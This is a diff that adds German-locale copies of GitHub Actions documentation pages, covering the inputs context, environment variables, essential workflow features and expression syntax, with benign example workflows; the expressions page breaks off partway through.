+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Build
+        id: build_step
+        run: |
+          ./build
+{%- ifversion actions-save-state-set-output-envs %}
+          echo "build_id=$BUILD_ID" >> $GITHUB_OUTPUT
+{%- else %}
+          echo "::set-output name=build_id::$BUILD_ID"
+{%- endif %}
+  deploy:
+    needs: build
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - run: ./deploy --build {% raw %}${{ needs.build.outputs.build_id }}{% endraw %}
+  debug:
+    needs: [build, deploy]
+    runs-on: ubuntu-latest
+    if: {% raw %}${{ failure() }}{% endraw %}
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - run: ./debug
+```
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+## `inputs` context
+
+The `inputs` context contains input properties passed to an action{% ifversion actions-unified-inputs %},{% else %} or{% endif %} to a reusable workflow{% ifversion actions-unified-inputs %}, or to a manually triggered workflow{% endif %}. {% ifversion actions-unified-inputs %}For reusable workflows, the{% else %}The{% endif %} input names and types are defined in the [`workflow_call` event configuration](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events) of a reusable workflow, and the input values are passed from [`jobs.<job_id>.with`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idwith) in an external workflow that calls the reusable workflow. {% ifversion actions-unified-inputs %}For manually triggered workflows, the inputs are defined in the [`workflow_dispatch` event configuration](/actions/learn-github-actions/events-that-trigger-workflows#workflow_dispatch) of a workflow.{% endif %}
+
+There are no standard properties in the `inputs` context, only those which are defined in the workflow file.
+
+{% data reusables.actions.reusable-workflows-ghes-beta %}
+
+| Property name | Type | Description |
+|---------------|------|-------------|
+| `inputs` | `object` | This context is only available in a [reusable workflow](/actions/learn-github-actions/reusing-workflows){% ifversion actions-unified-inputs %} or in a workflow triggered by the [`workflow_dispatch` event](/actions/learn-github-actions/events-that-trigger-workflows#workflow_dispatch){% endif %}. You can access this context from any job or step in a workflow. This object contains the properties listed below. |
+| `inputs.<name>` | `string` or `number` or `boolean` | Each input value passed from an external workflow. |
+
+### Example contents of the `inputs` context
+
+The following example contents of the `inputs` context is from a workflow that has defined the `build_id`, `deploy_target`, and `perform_deploy` inputs.
+
+```json
+{
+  "build_id": 123456768,
+  "deploy_target": "deployment_sys_1a",
+  "perform_deploy": true
+}
+```
+
+### Example usage of the `inputs` context in a reusable workflow
+
+This example reusable workflow uses the `inputs` context to get the values of the `build_id`, `deploy_target`, and `perform_deploy` inputs that were passed to the reusable workflow from the caller workflow.
+
+{% raw %}
+```yaml{:copy}
+name: Reusable deploy workflow
+on:
+  workflow_call:
+    inputs:
+      build_id:
+        required: true
+        type: number
+      deploy_target:
+        required: true
+        type: string
+      perform_deploy:
+        required: true
+        type: boolean
+
+jobs:
+  deploy:
+    runs-on: ubuntu-latest
+    if: ${{ inputs.perform_deploy }}
+    steps:
+      - name: Deploy build to target
+        run: deploy --build ${{ inputs.build_id }} --target ${{ inputs.deploy_target }}
+```
+{% endraw %}
+
+{% ifversion actions-unified-inputs %}
+### Example usage of the `inputs` context in a manually triggered workflow
+
+This example workflow triggered by a `workflow_dispatch` event uses the `inputs` context to get the values of the `build_id`, `deploy_target`, and `perform_deploy` inputs that were passed to the workflow.
+
+{% raw %}
+```yaml{:copy}
+on:
+  workflow_dispatch:
+    inputs:
+      build_id:
+        required: true
+        type: string
+      deploy_target:
+        required: true
+        type: string
+      perform_deploy:
+        required: true
+        type: boolean
+
+jobs:
+  deploy:
+    runs-on: ubuntu-latest
+    if: ${{ inputs.perform_deploy }}
+    steps:
+      - name: Deploy build to target
+        run: deploy --build ${{ inputs.build_id }} --target ${{ inputs.deploy_target }}
+```
+{% endraw %}
+{% endif %}
+
+{% endif %}
diff --git a/translations/de-DE/content/actions/learn-github-actions/environment-variables.md b/translations/de-DE/content/actions/learn-github-actions/environment-variables.md
new file mode 100644
index 0000000000..60f517beb6
--- /dev/null
+++ b/translations/de-DE/content/actions/learn-github-actions/environment-variables.md
@@ -0,0 +1,209 @@
+---
+title: Environment variables
+intro: '{% data variables.product.prodname_dotcom %} sets default environment variables for each {% data variables.product.prodname_actions %} workflow run. You can also set custom environment variables in your workflow file.'
+redirect_from:
+  - /github/automating-your-workflow-with-github-actions/using-environment-variables
+  - /actions/automating-your-workflow-with-github-actions/using-environment-variables
+  - /actions/configuring-and-managing-workflows/using-environment-variables
+  - /actions/reference/environment-variables
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About environment variables
+
+You can use environment variables to store information that you want to reference in your workflow. You reference environment variables within a workflow step or an action, and the variables are interpolated on the runner machine that runs your workflow. Commands that run in actions or workflow steps can create, read, and modify environment variables.
+
+You can set your own custom environment variables, you can use the default environment variables that {% data variables.product.prodname_dotcom %} sets automatically, and you can also use any other environment variables that are set in the working environment on the runner. Environment variables are case-sensitive. 
+
+To set a custom environment variable, you must define it in the workflow file. The scope of a custom environment variable is limited to the element in which it is defined. You can define environment variables that are scoped for:
+
+* The entire workflow, by using [`env`](/actions/using-workflows/workflow-syntax-for-github-actions#env) at the top level of the workflow file.
+* The contents of a job within a workflow, by using [`jobs.<job_id>.env`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idenv).
+* A specific step within a job, by using [`jobs.<job_id>.steps[*].env`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsenv).
+
+{% raw %}
+```yaml
+name: Greeting on variable day
+
+on:
+  workflow_dispatch
+
+env:
+  DAY_OF_WEEK: Monday
+
+jobs:
+  greeting_job:
+    runs-on: ubuntu-latest
+    env:
+      Greeting: Hello
+    steps:
+      - name: "Say Hello Mona it's Monday"
+        run: echo "$Greeting $First_Name. Today is $DAY_OF_WEEK!"
+        env:
+          First_Name: Mona
+```
+{% endraw %}
+
+The example above shows three custom environment variables being used in an `echo` command: `$DAY_OF_WEEK`, `$Greeting`, and  `$First_Name`. The values for these environment variables are set, and scoped, at the workflow, job, and step level respectively. 
+
+Because environment variable interpolation is done after a workflow job is sent to a runner machine, you must use the appropriate syntax for the shell that's used on the runner. In this example, the workflow specifies `ubuntu-latest`. By default, Linux runners use the bash shell, so you must use the syntax `$NAME`. If the workflow specified a Windows runner, you would use the syntax for PowerShell, `$env:NAME`. For more information about shells, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsshell)."
+
+{% note %}
+
+**Note**: You can list the entire set of environment variables that are available to a workflow step by using <span style="white-space: nowrap;">`run: env`</span> in a step and then examining the output for the step.
+
+{% endnote %}
+
+## Using contexts to access environment variable values
+
+In addition to environment variables, {% data variables.product.prodname_actions %} also allows you to set and read values using contexts. Environment variables and contexts are intended for use at different points in the workflow.
+
+Environment variables are always interpolated on the virtual machine runner. However, parts of a workflow are processed by {% data variables.product.prodname_actions %} and are not sent to the runner. You cannot use environment variables in these parts of a workflow file. Instead, you can use contexts. For example, an `if` conditional, which determines whether a job or step is sent to the runner, is always processed by {% data variables.product.prodname_actions %}. You can use a context in an `if` conditional statement to access the value of an environment variable.
+
+{% raw %}
+```yaml
+env:
+  DAY_OF_WEEK: Monday
+
+jobs:
+  greeting_job:
+    runs-on: ubuntu-latest
+    env:
+      Greeting: Hello
+    steps:
+      - name: "Say Hello Mona it's Monday"
+        if: ${{ env.DAY_OF_WEEK == 'Monday' }}
+        run: echo "$Greeting $First_Name. Today is $DAY_OF_WEEK!"
+        env:
+          First_Name: Mona
+```
+{% endraw %}
+
+In this modification of the first example, we've introduced an `if` conditional. The workflow step is now only run if `DAYS_OF_WEEK` is set to "Monday". We access this value from the `if` conditional statement by using the [`env` context](/actions/learn-github-actions/contexts#env-context).
+
+{% note %}
+
+**Note**: Contexts are usually denoted using the dollar sign and curly braces, as {% raw %}`${{ context.property }}`{% endraw %}. In an `if` conditional, the {% raw %}`${{` and `}}`{% endraw %} are optional, but if you use them they must enclose the entire comparison statement, as shown above. 
+
+{% endnote %}
+
+You will commonly use either the `env` or `github` context to access environment variable values in parts of the workflow that are processed before jobs are sent to runners. 
+
+
+| Context | Use case | Example |
+| --- | --- | --- |
+| `env` | Reference custom environment variables defined in the workflow. | <span style="white-space: nowrap;">{% raw %}`${{ env.MY_VARIABLE }}`{% endraw %}</span> |
+| `github` | Reference information about the workflow run and the event that triggered the run. | <span style="white-space: nowrap;">{% raw %}`${{ github.repository }}`{% endraw %}</span> |
+
+
+ 
+There are many other contexts that you can use for a variety of purposes in your workflows. For more information, see "[Contexts](/actions/learn-github-actions/contexts)." For details of where you can use specific contexts within a workflow, see "[Context availability](/actions/learn-github-actions/contexts#context-availability)."
+
+### Other types of variables
+
+In most places in a workflow, the only types of variables that you can use are either environment variables, such as `$MY_VARIABLE`, or the equivalent context property, such as <span style="white-space: nowrap;">{% raw %}`${{ env.MY_VARIABLE }}`{% endraw %}</span>. Exceptions are:
+
+* Inputs for the `workflow_call` and `workflow_dispatch` events, which allow you to pass values to a workflow. For more information, see [`on.workflow_call.inputs`](/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callinputs) and [`on.workflow_dispatch.inputs`](/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_dispatchinputs).
+* Job outputs, which allow you to pass values between jobs in a workflow. For more information, see [`jobs.<job_id>.outputs`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idoutputs).
+* The variables in a format expression, which allow you to replace parts of a string. For more information, see [`format`](/actions/learn-github-actions/expressions#format).
+
+## Naming conventions for environment variables
+
+When you set a custom environment variable, you cannot use any of the default environment variable names. For a complete list of these, see "[Default environment variables](#default-environment-variables)" below. If you attempt to override the value of one of these default environment variables, the assignment is ignored.
+
+Any new environment variables you set that point to a location on the filesystem should have a `_PATH` suffix. The `GITHUB_ENV` and `GITHUB_WORKSPACE` default environment variables are exceptions to this convention.
+
+## Default environment variables
+
+The default environment variables that {% data variables.product.prodname_dotcom %} sets are available to every step in a workflow. 
+
+We strongly recommend that actions use environment variables to access the filesystem rather than using hardcoded file paths. {% data variables.product.prodname_dotcom %} sets environment variables for actions to use in all runner environments.
+
+| Environment variable | Description |
+| ---------------------|------------ |
+| `CI` | Always set to `true`. |
+| `GITHUB_ACTION` | The name of the action currently running, or the [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid) of a step. For example, for an action, `__repo-owner_name-of-action-repo`.<br><br>{% data variables.product.prodname_dotcom %} removes special characters, and uses the name `__run` when the current step runs a script without an `id`. If you use the same script or action more than once in the same job, the name will include a suffix that consists of the sequence number preceded by an underscore. For example, the first script you run will have the name `__run`, and the second script will be named `__run_2`. Similarly, the second invocation of `actions/checkout` will be `actionscheckout2`. |
+| `GITHUB_ACTION_PATH` | The path where an action is located. This property is only supported in composite actions. You can use this path to access files located in the same repository as the action. For example, `/home/runner/work/_actions/repo-owner/name-of-action-repo/v1`. |
+| `GITHUB_ACTION_REPOSITORY` | For a step executing an action, this is the owner and repository name of the action. For example, `actions/checkout`. |
+| `GITHUB_ACTIONS` | Always set to `true` when {% data variables.product.prodname_actions %} is running the workflow. You can use this variable to differentiate when tests are being run locally or by {% data variables.product.prodname_actions %}.
+| `GITHUB_ACTOR` | The name of the person or app that initiated the workflow. For example, `octocat`. |
+| `GITHUB_API_URL` | Returns the API URL. For example: `{% data variables.product.api_url_code %}`.
+| `GITHUB_BASE_REF` | The name of the base ref or target branch of the pull request in a workflow run. This is only set when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. For example, `main`. |
+| `GITHUB_ENV` | The path on the runner to the file that sets environment variables from workflow commands. This file is unique to the current step and changes for each step in a job. For example, `/home/runner/work/_temp/_runner_file_commands/set_env_87406d6e-4979-4d42-98e1-3dab1f48b13a`. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-commands-for-github-actions#setting-an-environment-variable)." | 
+| `GITHUB_EVENT_NAME` | The name of the event that triggered the workflow. For example, `workflow_dispatch`. |
+| `GITHUB_EVENT_PATH` | The path to the file on the runner that contains the full event webhook payload. For example, `/github/workflow/event.json`. |
+| `GITHUB_GRAPHQL_URL` | Returns the GraphQL API URL. For example: `{% data variables.product.graphql_url_code %}`.
+| `GITHUB_HEAD_REF` | The head ref or source branch of the pull request in a workflow run. This property is only set when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. For example, `feature-branch-1`. |
+| `GITHUB_JOB` | The [job_id](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) of the current job. For example, `greeting_job`. |
+| `GITHUB_PATH` | The path on the runner to the file that sets system `PATH` variables from workflow commands. This file is unique to the current step and changes for each step in a job.  For example, `/home/runner/work/_temp/_runner_file_commands/add_path_899b9445-ad4a-400c-aa89-249f18632cf5`. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-system-path)." |
+| `GITHUB_REF` | {% data reusables.actions.ref-description %} |
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+| `GITHUB_REF_NAME` | {% data reusables.actions.ref_name-description %} |
+| `GITHUB_REF_PROTECTED` | {% data reusables.actions.ref_protected-description %} |
+| `GITHUB_REF_TYPE` | {% data reusables.actions.ref_type-description %} |
+{%- endif %}
+| `GITHUB_REPOSITORY` | The owner and repository name. For example, `octocat/Hello-World`. |
+| `GITHUB_REPOSITORY_OWNER` | The repository owner's name. For example, `octocat`. |
+| `GITHUB_RETENTION_DAYS` | The number of days that workflow run logs and artifacts are kept. For example, `90`. |
+| `GITHUB_RUN_ATTEMPT` | A unique number for each attempt of a particular workflow run in a repository. This number begins at 1 for the workflow run's first attempt, and increments with each re-run. For example, `3`. |
+| `GITHUB_RUN_ID` | {% data reusables.actions.run_id_description %} For example, `1658821493`. |
+| `GITHUB_RUN_NUMBER` | {% data reusables.actions.run_number_description %} For example, `3`. |
+| `GITHUB_SERVER_URL`| The URL of the {% data variables.product.product_name %} server. For example: `https://{% data variables.product.product_url %}`.
+| `GITHUB_SHA` | {% data reusables.actions.github_sha_description %} |
+{%- ifversion actions-job-summaries %}
+| `GITHUB_STEP_SUMMARY` | The path on the runner to the file that contains job summaries from workflow commands. This file is unique to the current step and changes for each step in a job. For example, `/home/rob/runner/_layout/_work/_temp/_runner_file_commands/step_summary_1cb22d7f-5663-41a8-9ffc-13472605c76c`. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-job-summary)." |
+{%- endif %}
+| `GITHUB_WORKFLOW` | The name of the workflow. For example, `My test workflow`. If the workflow file doesn't specify a `name`, the value of this variable is the full path of the workflow file in the repository. |
+| `GITHUB_WORKSPACE` | The default working directory on the runner for steps, and the default location of your repository when using the [`checkout`](https://github.com/actions/checkout) action. For example, `/home/runner/work/my-repo-name/my-repo-name`. |
+{%- ifversion actions-runner-arch-envvars %}
+| `RUNNER_ARCH` | {% data reusables.actions.runner-arch-description %}
+{%- endif %} |
+| `RUNNER_DEBUG` | {% data reusables.actions.runner-debug-description %} |
+| `RUNNER_NAME` | {% data reusables.actions.runner-name-description %} For example, `Hosted Agent` |
+| `RUNNER_OS` | {% data reusables.actions.runner-os-description %} For example, `Windows` |
+| `RUNNER_TEMP` | {% data reusables.actions.runner-temp-directory-description %} For example, `D:\a\_temp` |
+{% ifversion not ghae %}| `RUNNER_TOOL_CACHE` | {% data reusables.actions.runner-tool-cache-description %} For example, `C:\hostedtoolcache\windows` |{% endif %}
+
+{% note %}
+
+**Note:** 
+
+* If you need to use a workflow run's URL from within a job, you can combine these environment variables: `$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID`
+* Most of the default environment variables have a corresponding, and similarly named, context property. For example, the value of the `GITHUB_REF` environment variable can be read during workflow processing using the {% raw %}`${{ github.ref }}`{% endraw %} context property.
+
+{% endnote %}
+
+## Detecting the operating system
+
+You can write a single workflow file that can be used for different operating systems by using the `RUNNER_OS` default environment variable and the corresponding context property <span style="white-space: nowrap;">{% raw %}`${{ runner.os }}`{% endraw %}</span>. For example, the following workflow could be run successfully if you changed the operating system from `macos-latest` to `windows-latest` without having to alter the syntax of the environment variables, which differs depending on the shell being used by the runner.
+
+{% raw %}
+```yaml
+jobs:
+  if-Windows-else:
+    runs-on: macos-latest
+    steps:
+      - name: condition 1
+        if: runner.os == 'Windows'
+        run: echo "The operating system on the runner is $env:RUNNER_OS."
+      - name: condition 2
+        if: runner.os != 'Windows'
+        run: echo "The operating system on the runner is not Windows, it's $RUNNER_OS."
+```
+{% endraw %}
+
+In this example, the two `if` statements check the `os` property of the `runner` context to determine the operating system of the runner. `if` conditionals are processed by {% data variables.product.prodname_actions %}, and only steps where the check resolves as `true` are sent to the runner. Here one of the checks will always be `true` and the other `false`, so only one of these steps is sent to the runner. Once the job is sent to the runner, the step is executed and the environment variable in the `echo` command is interpolated using the appropriate syntax (`$env:NAME` for PowerShell on Windows, and `$NAME` for bash and sh on Linux and MacOS). In this example, the statement `runs-on: macos-latest` means that the second step will be run.
+
+## Passing values between steps and jobs in a workflow
+
+ If you generate a value in one step of a job, you can use the value in subsequent steps of the same job by assigning the value to an existing or new environment variable and then writing this to the `GITHUB_ENV` environment file. The environment file can be used directly by an action, or from a shell command in the workflow file by using the `run` keyword. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-environment-variable)." 
+ 
+ If you want to pass a value from a step in one job in a workflow to a step in another job in the workflow, you can define the value as a job output. You can then reference this job output from a step in another job. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idoutputs)." 
+ 
diff --git a/translations/de-DE/content/actions/learn-github-actions/essential-features-of-github-actions.md b/translations/de-DE/content/actions/learn-github-actions/essential-features-of-github-actions.md
new file mode 100644
index 0000000000..9a32c9439c
--- /dev/null
+++ b/translations/de-DE/content/actions/learn-github-actions/essential-features-of-github-actions.md
@@ -0,0 +1,102 @@
+---
+title: Essential features of GitHub Actions
+shortTitle: Essential features
+intro: '{% data variables.product.prodname_actions %} are designed to help you build robust and dynamic automations. This guide will show you how to craft {% data variables.product.prodname_actions %} workflows that include environment variables, customized scripts, and more.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Fundamentals
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Overview
+
+{% data variables.product.prodname_actions %} allow you to customize your workflows to meet the unique needs of your application and team. In this guide, we'll discuss some of the essential customization techniques such as using variables, running scripts, and sharing data and artifacts between jobs.
+
+##  Using variables in your workflows
+
+{% data variables.product.prodname_actions %} include default environment variables for each workflow run. If you need to use custom environment variables, you can set these in your YAML workflow file. This example demonstrates how to create custom variables named `POSTGRES_HOST` and `POSTGRES_PORT`. These variables are then available to the `node client.js` script.
+
+```yaml
+jobs:
+  example-job:
+      steps:
+        - name: Connect to PostgreSQL
+          run: node client.js
+          env:
+            POSTGRES_HOST: postgres
+            POSTGRES_PORT: 5432
+```
+
+For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)."
+
+## Adding scripts to your workflow
+
+You can use actions to run scripts and shell commands, which are then executed on the assigned runner. This example demonstrates how an action can use the `run` keyword to execute `npm install -g bats` on the runner.
+
+```yaml
+jobs:
+  example-job:
+    steps:
+      - run: npm install -g bats
+```
+
+For example, to run a script as an action, you can store the script in your repository and supply the path and shell type.
+
+```yaml
+jobs:
+  example-job:
+    steps:
+      - name: Run build script
+        run: ./.github/scripts/build.sh
+        shell: bash
+```
+
+For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+
+## Sharing data between jobs
+
+If your job generates files that you want to share with another job in the same workflow, or if you want to save the files for later reference, you can store them in {% data variables.product.prodname_dotcom %} as _artifacts_. Artifacts are the files created when you build and test your code. For example, artifacts might include binary or package files, test results, screenshots, or log files. Artifacts are associated with the workflow run where they were created and can be used by another job. {% data reusables.actions.reusable-workflow-artifacts %}
+
+For example, you can create a file and then upload it as an artifact.
+
+```yaml
+jobs:
+  example-job:
+    name: Save output
+    steps:
+      - shell: bash
+        run: |
+          expr 1 + 1 > output.log
+      - name: Upload output file
+        uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: output-log-file
+          path: output.log
+```
+
+To download an artifact from a separate workflow run, you can use the `actions/download-artifact` action. For example, you can download the artifact named `output-log-file`.
+
+```yaml
+jobs:
+  example-job:
+    steps:
+      - name: Download a single artifact
+        uses: {% data reusables.actions.action-download-artifact %}
+        with:
+          name: output-log-file
+```
+
+To download an artifact from the same workflow run, your download job should specify `needs: upload-job-name` so it doesn't start until the upload job finishes.
+
+For more information about artifacts, see "[Persisting workflow data using artifacts](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)."
+
+## Next steps
+
+To continue learning about {% data variables.product.prodname_actions %}, see "[Managing complex workflows](/actions/learn-github-actions/managing-complex-workflows)."
diff --git a/translations/de-DE/content/actions/learn-github-actions/expressions.md b/translations/de-DE/content/actions/learn-github-actions/expressions.md
new file mode 100644
index 0000000000..0bf64804d3
--- /dev/null
+++ b/translations/de-DE/content/actions/learn-github-actions/expressions.md
@@ -0,0 +1,405 @@
+---
+title: Expressions
+shortTitle: Expressions
+intro: You can evaluate expressions in workflows and actions.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 3
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About expressions
+
+You can use expressions to programmatically set environment variables in workflow files and access contexts. An expression can be any combination of literal values, references to a context, or functions. You can combine literals, context references, and functions using operators. For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)."
+
+Expressions are commonly used with the conditional `if` keyword in a workflow file to determine whether a step should run. When an `if` conditional is `true`, the step will run.
+
+You need to use specific syntax to tell {% data variables.product.prodname_dotcom %} to evaluate an expression rather than treat it as a string.
+
+{% raw %}
+`${{ <expression> }}`
+{% endraw %}
+
+{% data reusables.actions.expression-syntax-if %} For more information about `if` conditionals, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)."
+
+{% data reusables.actions.context-injection-warning %}
+
+#### Example expression in an `if` conditional
+
+```yaml
+steps:
+  - uses: actions/hello-world-javascript-action@v1.1
+    if: {% raw %}${{ <expression> }}{% endraw %}
+```
+
+#### Example setting an environment variable
+
+{% raw %}
+```yaml
+env:
+  MY_ENV_VAR: ${{ <expression> }}
+```
+{% endraw %}
+
+## Literals
+
+As part of an expression, you can use `boolean`, `null`, `number`, or `string` data types.
+
+| Data type | Literal value |
+|-----------|---------------|
+| `boolean` | `true` or `false` |
+| `null`    | `null` |
+| `number`  | Any number format supported by JSON. |
+| `string`  | You don't need to enclose strings in `{% raw %}${{{% endraw %}` and `{% raw %}}}{% endraw %}`. However, if you do, you must use single quotes (`'`) around the string. To use a literal single quote, escape the literal single quote using an additional single quote (`''`). Wrapping with double quotes (`"`) will throw an error. |
+
+#### Example
+
+{% raw %}
+
+```yaml
+env:
+  myNull: ${{ null }}
+  myBoolean: ${{ false }}
+  myIntegerNumber: ${{ 711 }}
+  myFloatNumber: ${{ -9.2 }}
+  myHexNumber: ${{ 0xff }}
+  myExponentialNumber: ${{ -2.99e-2 }}
+  myString: Mona the Octocat
+  myStringInBraces: ${{ 'It''s open source!' }}
+```
+
+{% endraw %}
+
+## Operators
+
+| Operator    | Description |
+| ---         | ---         |
+| `( )`       | Logical grouping |
+| `[ ]`       | Index
+| `.`         | Property de-reference |
+| `!`         | Not |
+| `<`         | Less than |
+| `<=`        | Less than or equal |
+| `>`         | Greater than |
+| `>=`        | Greater than or equal |
+| `==`        | Equal |
+| `!=`        | Not equal |
+| `&&`        | And |
+|  <code>\|\|</code> | Or |
+
+{% data variables.product.prodname_dotcom %} performs loose equality comparisons.
+
+* If the types do not match, {% data variables.product.prodname_dotcom %} coerces the type to a number. {% data variables.product.prodname_dotcom %} casts data types to a number using these conversions:
+
+  | Type    | Result |
+  | ---     | ---    |
+  | Null    | `0` |
+  | Boolean | `true` returns `1` <br /> `false` returns `0` |
+  | String  | Parsed from any legal JSON number format, otherwise `NaN`. <br /> Note: empty string returns `0`. |
+  | Array   | `NaN` |
+  | Object  | `NaN` |
+* A comparison of one `NaN` to another `NaN` does not result in `true`. For more information, see the "[NaN Mozilla docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)."
+* {% data variables.product.prodname_dotcom %} ignores case when comparing strings.
+* Objects and arrays are only considered equal when they are the same instance.
+
+## Functions
+
+{% data variables.product.prodname_dotcom %} offers a set of built-in functions that you can use in expressions. Some functions cast values to a string to perform comparisons. {% data variables.product.prodname_dotcom %} casts data types to a string using these conversions:
+
+| Type    | Result |
+| ---     | ---    |
+| Null    | `''` |
+| Boolean | `'true'` or `'false'` |
+| Number  | Decimal format, exponential for large numbers |
+| Array   | Arrays are not converted to a string |
+| Object  | Objects are not converted to a string |
+
+### contains
+
+`contains( search, item )`
+
+Returns `true` if `search` contains `item`. If `search` is an array, this function returns `true` if the `item` is an element in the array. If `search` is a string, this function returns `true` if the `item` is a substring of `search`. This function is not case sensitive. Casts values to a string.
+
+#### Example using a string
+
+`contains('Hello world', 'llo')` returns `true`.
+
+#### Example using an object filter
+
+`contains(github.event.issue.labels.*.name, 'bug')` returns `true` if the issue related to the event has a label "bug".
+
+For more information, see "[Object filters](#object-filters)."
+
+#### Example matching an array of strings
+
+Instead of writing `github.event_name == "push" || github.event_name == "pull_request"`, you can use `contains()` with `fromJson()` to check if an array of strings contains an `item`.
+
+For example, `contains(fromJson('["push", "pull_request"]'), github.event_name)` returns `true` if `github.event_name` is "push" or "pull_request".
+
+### startsWith
+
+`startsWith( searchString, searchValue )`
+
+Returns `true` when `searchString` starts with `searchValue`. This function is not case sensitive. Casts values to a string.
+
+#### Example
+
+`startsWith('Hello world', 'He')` returns `true`.
+
+### endsWith
+
+`endsWith( searchString, searchValue )`
+
+Returns `true` if `searchString` ends with `searchValue`. This function is not case sensitive. Casts values to a string.
+
+#### Example
+
+`endsWith('Hello world', 'ld')` returns `true`.
+
+### format
+
+`format( string, replaceValue0, replaceValue1, ..., replaceValueN)`
+
+Replaces values in the `string`, with the variable `replaceValueN`. Variables in the `string` are specified using the `{N}` syntax, where `N` is an integer. You must specify at least one `replaceValue` and `string`. There is no maximum for the number of variables (`replaceValueN`) you can use. Escape curly braces using double braces.
+
+#### Example
+
+`format('Hello {0} {1} {2}', 'Mona', 'the', 'Octocat')`
+
+Returns 'Hello Mona the Octocat'.
+
+#### Example escaping braces
+
+{% raw %}
+```js
+format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat')
+```
+{% endraw %}
+
+Returns '{Hello Mona the Octocat!}'.
+
+### join
+
+`join( array, optionalSeparator )`
+
+The value for `array` can be an array or a string. All values in `array` are concatenated into a string. If you provide `optionalSeparator`, it is inserted between the concatenated values. Otherwise, the default separator `,` is used. Casts values to a string.
+
+#### Example
+
+`join(github.event.issue.labels.*.name, ', ')` may return 'bug, help wanted'
+
+### toJSON
+
+`toJSON(value)`
+
+Returns a pretty-print JSON representation of `value`. You can use this function to debug the information provided in contexts.
+
+#### Example
+
+`toJSON(job)` might return `{ "status": "Success" }`
+
+### fromJSON
+
+`fromJSON(value)`
+
+Returns a JSON object or JSON data type for `value`. You can use this function to provide a JSON object as an evaluated expression or to convert environment variables from a string.
+
+#### Example returning a JSON object
+
+This workflow sets a JSON matrix in one job, and passes it to the next job using an output and `fromJSON`.
+
+{% raw %}
+```yaml
+name: build
+on: push
+jobs:
+  job1:
+    runs-on: ubuntu-latest
+    outputs:
+      matrix: ${{ steps.set-matrix.outputs.matrix }}
+    steps:
+      - id: set-matrix{% endraw %}
+{%- ifversion actions-save-state-set-output-envs %}
+        run: echo "matrix={\"include\":[{\"project\":\"foo\",\"config\":\"Debug\"},{\"project\":\"bar\",\"config\":\"Release\"}]}" >> $GITHUB_OUTPUT
+{%- else %}
+        run: echo "::set-output name=matrix::{\"include\":[{\"project\":\"foo\",\"config\":\"Debug\"},{\"project\":\"bar\",\"config\":\"Release\"}]}"
+{%- endif %}{% raw %}
+  job2:
+    needs: job1
+    runs-on: ubuntu-latest
+    strategy:
+      matrix: ${{ fromJSON(needs.job1.outputs.matrix) }}
+    steps:
+      - run: build
+```
+{% endraw %}
+
+#### Example returning a JSON data type
+
+This workflow uses `fromJSON` to convert environment variables from a string to a Boolean or integer.
+
+{% raw %}
+```yaml
+name: print
+on: push
+env:
+  continue: true
+  time: 3
+jobs:
+  job1:
+    runs-on: ubuntu-latest
+    steps:
+      - continue-on-error: ${{ fromJSON(env.continue) }}
+        timeout-minutes: ${{ fromJSON(env.time) }}
+        run: echo ...
+```
+{% endraw %}
+
+### hashFiles
+
+`hashFiles(path)`
+
